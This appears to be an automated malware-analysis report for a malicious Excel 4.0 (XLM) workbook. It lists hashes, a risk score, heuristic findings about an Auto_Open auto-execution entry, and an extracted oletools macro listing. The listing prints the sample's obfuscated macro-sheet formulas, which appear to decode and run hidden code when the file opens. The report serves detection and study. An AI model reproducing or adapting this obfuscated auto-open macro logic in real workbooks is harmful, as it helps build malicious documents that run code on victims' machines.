Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9274b9de0b7dc093…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:42:20 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: 55ba413558e1f6df44d1b98936718892 SHA-1: 9dc29a06149cae71baa74559227ca39648894c41 SHA-256: 9274b9de0b7dc09349ad63bf636fdbd45c983aa2509088ad03605c7b9c43ac3a
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6786 bytes
SHA-256: 196c925aee7df2783ca213cbe8e711c4f365628fb25d3692d190ee0a2570b0c9
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  DejXzTrpc
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!I175 
' 0018     20 LABEL : Cell Value, String Constant - CHiZm len=0 
' 0018     27 LABEL : Cell Value, String Constant - DmgiTcSqDWzT len=0 
' 0018     20 LABEL : Cell Value, String Constant - FGaTU len=0 
' 0018     27 LABEL : Cell Value, String Constant - hwRyLkQhxLhK len=0 
' 0018     24 LABEL : Cell Value, String Constant - IiQIYANPf len=0 
' 0018     21 LABEL : Cell Value, String Constant - JHICSl len=0 
' 0018     23 LABEL : Cell Value, String Constant - krSjKPCk len=0 
' 0018     20 LABEL : Cell Value, String Constant - lUsWg len=0 
' 0018     20 LABEL : Cell Value, String Constant - mdIVu len=0 
' 0018     25 LABEL : Cell Value, String Constant - MtqTqwmKpt len=0 
' 0018     22 LABEL : Cell Value, String Constant - oSaSSrr len=0 
' 0018     25 LABEL : Cell Value, String Constant - pFQurQFAIn len=0 
' 0018     23 LABEL : Cell Value, String Constant - PiBKuVHu len=0 
' 0018     22 LABEL : Cell Value, String Constant - PNgPnbL len=0 
' 0018     22 LABEL : Cell Value, String Constant - quiAlRW len=0 
' 0018     27 LABEL : Cell Value, String Constant - vEfJknIgRhDR len=0 
' 0018     25 LABEL : Cell Value, String Constant - VSBZOqnyKI len=0 
' 0018     27 LABEL : Cell Value, String Constant - woVjUncVNVOb len=0 
' 0018     24 LABEL : Cell Value, String Constant - YSuMSmhzI len=0 
' 0018     23 LABEL : Cell Value, String Constant - zmlvPUfS len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  DejXzTrpc,P55,"",-949.00000000000000000000
'  DejXzTrpc,P56,"",705.00000000000000000000
'  DejXzTrpc,P57,"",655.00000000000000000000
'  DejXzTrpc,P58,"",456.00000000000000000000
'  DejXzTrpc,P59,"",-332.00000000000000000000
'  DejXzTrpc,P60,"",-496.00000000000000000000
'  DejXzTrpc,I92,"SET.NAME("FGaTU",0+VALUE("0"))",""
'  DejXzTrpc,I95,"SET.NAME("IiQIYANPf",FGaTU)",""
'  DejXzTrpc,I100,"SET.NAME("YSuMSmhzI",FGaTU)",""
'  DejXzTrpc,I102,"SET.NAME("zmlvPUfS",COUNTA(JHICSl))",""
'  DejXzTrpc,I104,"SET.NAME("PNgPnbL",COUNTA(DmgiTcSqDWzT))",""
'  DejXzTrpc,I107,[],""
'  DejXzTrpc,I109,"SET.NAME("CHiZm","")",""
'  DejXzTrpc,I113,"IiQIYANPf",""
'  DejXzTrpc,I115,"SET.NAME("krSjKPCk",HLOOKUP("*",JHICSl,IiQIYANPf,FALSE))",""
'  DejXzTrpc,I118,"MtqTqwmKpt",""
'  DejXzTrpc,I120,"SET.NAME("VSBZOqnyKI",FGaTU)",""
'  DejXzTrpc,I122,[],""
'  DejXzTrpc,I125,"VSBZOqnyKI",""
'  DejXzTrpc,I128,"quiAlRW",""
'  DejXzTrpc,I130,"PiBKuVHu",""
'  DejXzTrpc,I134,"vEfJknIgRhDR",""
'  DejXzTrpc,I138,"SET.NAME("woVjUncVNVOb",VALUE(HLOOKUP("*",DmgiTcSqDWzT,vEfJknIgRhDR,FALSE)))",""
'  DejXzTrpc,I143,"mdIVu",""
'  DejXzTrpc,I145,"CHiZm",""
'  DejXzTrpc,I147,"YSuMSmhzI",""
'  DejXzTrpc,I151,NEXT(),""
'  DejXzTrpc,I155,"lUsWg",""
'  DejXzTrpc,I159,[],""
'  DejXzTrpc,I163,"pFQurQFAIn",""
'  DejXzTrpc,I166,NEXT(),""
'  DejXzTrpc,I171,RETURN(),""
'  DejXzTrpc,I197,"SET.NAME("oSaSSrr",I92)",""
'  DejXzTrpc,I200,"JHICSl",""
'  DejXzTrpc,I203,"SET.NAME("DmgiTcSqDWzT",R95C11)",""
'  DejXzTrpc,I208,"SET.NAME("pFQurQFAIn",217)",""
'  DejXzTrpc,I212,"SET.NAME("hwRyLkQhxLhK",9)",""
'  DejXzTrpc,I216,oSaSSrr(),""
'  DejXzTrpc,I217,HALT(),""

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